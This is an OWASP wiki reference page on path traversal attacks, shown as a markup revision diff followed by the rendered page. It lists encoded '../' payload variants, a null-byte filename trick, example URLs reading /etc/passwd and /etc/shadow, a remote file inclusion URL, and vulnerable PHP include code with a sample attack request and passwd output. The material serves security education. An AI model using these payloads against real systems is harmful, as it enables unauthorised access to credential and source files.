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{{Template:Attack}}
 
{{Template:Attack}}
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Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
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<br>
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[[Category:OWASP ASDR Project]]
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==Overview==
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A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
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This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
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==Related Security Activities==
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===How to Avoid Path Traversal Vulnerabilities===
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See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[File_System#Path_traversal|Avoid Path Traversal ]] Vulnerabilities.
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===How to Test for Path Traversal  Vulnerabilities===
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See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for Path Traversal  (OWASP-AZ-001)  |Test for Path Traversal ]] Vulnerabilities.
  
 
==Description==
 
==Description==
−
Also refered to as 'Directory Traversal' this type of attack enables an attacker to move through the server directories, outside of the normal webroot.  From there he is able to view critical system files, source codes and many other things.  He could even carry out Cross Server attacks if he wishes.
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===Request variations===
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Encoding and double encoding:
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%2e%2e%2f represents ../
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%2e%2e/ represents ../
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..%2f represents ../
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%2e%2e%5c represents ..\
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%2e%2e\ represents ..\
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..%5c represents ..\
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%252e%252e%255c represents ..\
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..%255c represents ..\ and so on.
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'''Percent encoding (aka URL encoding)'''
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Note that web containers perform one level of decoding on percent encoded values from forms and URLs.
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..%c0%af represents ../
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..%c1%9c represents ..\
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'''OS specific'''
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UNIX
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Root directory:  “ / “
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Directory separator: “ / “
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WINDOWS
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Root directory: “  <partition letter> : \ “
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Directory separator: “ / “ or “ \ ”
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Note that windows allows filenames to be followed by extra . \ / characters.
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In many operating systems, null bytes %00 can be injected to terminate the filename. For example, sending a parameter like:
 +
 
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?file=secret.doc%00.pdf
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will result in the Java application seeing a string that ends with ".pdf" and the operating system will see a file that ends in ".doc". Attackers may use this trick to bypass validation routines.
 +
 
 +
==Examples==
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===Example 1===
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The following examples show how the application deals with the resources in use.
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<nowiki> http://some_site.com.br/get-files.jsp?file=report.pdf  </nowiki>
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<nowiki> http://some_site.com.br/get-page.php?home=aaa.html  </nowiki>
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<nowiki> http://some_site.com.br/some-page.asp?page=index.html  </nowiki>
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In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory.
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  <nowiki> http://some_site.com.br/get-files?file=../../../../some dir/some file </nowiki>
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  <nowiki> http://some_site.com.br/../../../../some dir/some file </nowiki>
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The following URLs show examples of *NIX password file exploitation.
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<nowiki>http://some_site.com.br/../../../../etc/shadow </nowiki>
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<nowiki>http://some_site.com.br/get-files?file=/etc/passwd </nowiki>
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Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in the whole disk.
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===Example 2===
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It's also possible to include files and scripts located on external website.
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<nowiki> http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php  </nowiki>
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===Example 3===
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These examples illustrate a case when an attacker made the server show the CGI source code.
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  <nowiki> http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi  </nowiki>
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===Example 4===
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This example was extracted from: Wikipedia - Directory Traversal
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A typical example of vulnerable application code is:
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<pre><nowiki>
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<?php
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$template = 'blue.php';
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if ( is_set( $_COOKIE['TEMPLATE'] ) )
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  $template = $_COOKIE['TEMPLATE'];
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include ( "/home/users/phpguru/templates/" . $template );
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?>
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</nowiki></pre>
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An attack against this system could be to send the following HTTP request:
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<pre>
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GET /vulnerable.php HTTP/1.0
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Cookie: TEMPLATE=../../../../../../../../../etc/passwd
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</pre>
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Generating a server response such as:
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<pre>
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HTTP/1.0 200 OK
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Content-Type: text/html
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Server: Apache
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root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
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daemon:*:1:1::/tmp:
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phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
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</pre>
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The repeated <tt>../</tt> characters after /home/users/phpguru/templates/ has caused
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[http://www.php.net/manual/en/function.include.php include()] to traverse to the root directory, and then include the UNIX password file [[passwd|/etc/passwd]].
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UNIX etc/passwd is a common file used to demonstrate '''directory traversal''', as it is often used by crackers to try cracking the passwords.
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===Absolute Path Traversal===
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The following URLs may be vulnerable to this attack:
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<nowiki>http://testsite.com/get.php?f=list</nowiki>
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<nowiki>http://testsite.com/get.cgi?f=2</nowiki>
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<nowiki>http://testsite.com/get.asp?f=test</nowiki>
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An attacker can execute this attack  like this:
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<nowiki>http://testsite.com/get.php?f=/var/www/html/get.php</nowiki>
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<nowiki>http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc</nowiki>
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<nowiki>http://testsite.com/get.asp?f=/etc/passwd</nowiki>
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When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).
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==Related [[Threat Agents]]==
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* [[:Category: Information Disclosure]]
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[[Category:FIXME|this link doesn't exist. Do you want to change this to a different link or add this category?]]
  
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==Examples ==
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==Related [[Attacks]]==
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* [[Path Manipulation]]
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* [[Relative Path Traversal]]
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* [[Resource Injection]]
  
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==Related Threats==
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==Related [[Vulnerabilities]]==
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* [[:Category:Input Validation Vulnerability]]
  
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==Related Attacks==
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==Related [[Controls]]==
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* [[:Category:Input Validation]]
  
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==Related Vulnerabilities==
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==References==
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* http://cwe.mitre.org/data/definitions/22.html
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* http://www.webappsec.org/projects/threat/classes/path_traversal.shtml
  
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==Related Countermeasures==
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[[Category:FIXME|link not working
  
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==Categories==
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* http://cve.mitre.org/docs/plover/SECTION.9.6.html#PATH.TRAV
  
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{{Template:Stub}}
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]]
  
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[[Category:File System]]
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[[Category:Abuse of Functionality]]
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[[Category:Path Traversal Attack]]
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[[Category:Resource Manipulation]]
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[[Category:Attack]]

Latest revision as of 19:53, 6 October 2015

This is an Attack. To view all attacks, please see the Attack Category page.


Last revision (mm/dd/yy): 10/6/2015



Overview

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).

This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.

Related Security Activities

How to Avoid Path Traversal Vulnerabilities

See the OWASP Guide article on how to Avoid Path Traversal Vulnerabilities.

How to Test for Path Traversal Vulnerabilities

See the OWASP Testing Guide article on how to Test for Path Traversal Vulnerabilities.

Description

Request variations

Encoding and double encoding: 

%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../ 
%2e%2e%5c represents ..\
%2e%2e\ represents ..\ 
..%5c represents ..\ 
%252e%252e%255c represents ..\ 
..%255c represents ..\ and so on.

Percent encoding (aka URL encoding)

Note that web containers perform one level of decoding on percent encoded values from forms and URLs. 

..%c0%af represents ../ 
..%c1%9c represents ..\

OS specific

UNIX 

Root directory:  “ / “ 
Directory separator: “ / “

WINDOWS 

Root directory: “  <partition letter> : \ “
Directory separator: “ / “ or “ \ ” 
Note that windows allows filenames to be followed by extra . \ / characters.

In many operating systems, null bytes %00 can be injected to terminate the filename. For example, sending a parameter like: 

?file=secret.doc%00.pdf

will result in the Java application seeing a string that ends with ".pdf" and the operating system will see a file that ends in ".doc". Attackers may use this trick to bypass validation routines.

Examples

Example 1

The following examples show how the application deals with the resources in use. 

 http://some_site.com.br/get-files.jsp?file=report.pdf  
 http://some_site.com.br/get-page.php?home=aaa.html  
 http://some_site.com.br/some-page.asp?page=index.html

In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. 

  http://some_site.com.br/get-files?file=../../../../some dir/some file 

  http://some_site.com.br/../../../../some dir/some file

The following URLs show examples of *NIX password file exploitation. 

http://some_site.com.br/../../../../etc/shadow  
http://some_site.com.br/get-files?file=/etc/passwd

Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in the whole disk.

Example 2

It's also possible to include files and scripts located on external website. 

 http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php

Example 3

These examples illustrate a case when an attacker made the server show the CGI source code. 

 http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi

Example 4

This example was extracted from: Wikipedia - Directory Traversal

A typical example of vulnerable application code is: 

<?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

An attack against this system could be to send the following HTTP request: 

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as: 

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the UNIX password file /etc/passwd.

UNIX etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

Absolute Path Traversal

The following URLs may be vulnerable to this attack: 

http://testsite.com/get.php?f=list
http://testsite.com/get.cgi?f=2
http://testsite.com/get.asp?f=test

An attacker can execute this attack like this: 

http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc
http://testsite.com/get.asp?f=/etc/passwd

When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).

Related Threat Agents

Related Attacks

Related Vulnerabilities

Related Controls

References

Retrieved from "https://wiki.owasp.org/index.php?title=Path_Traversal&oldid=201780"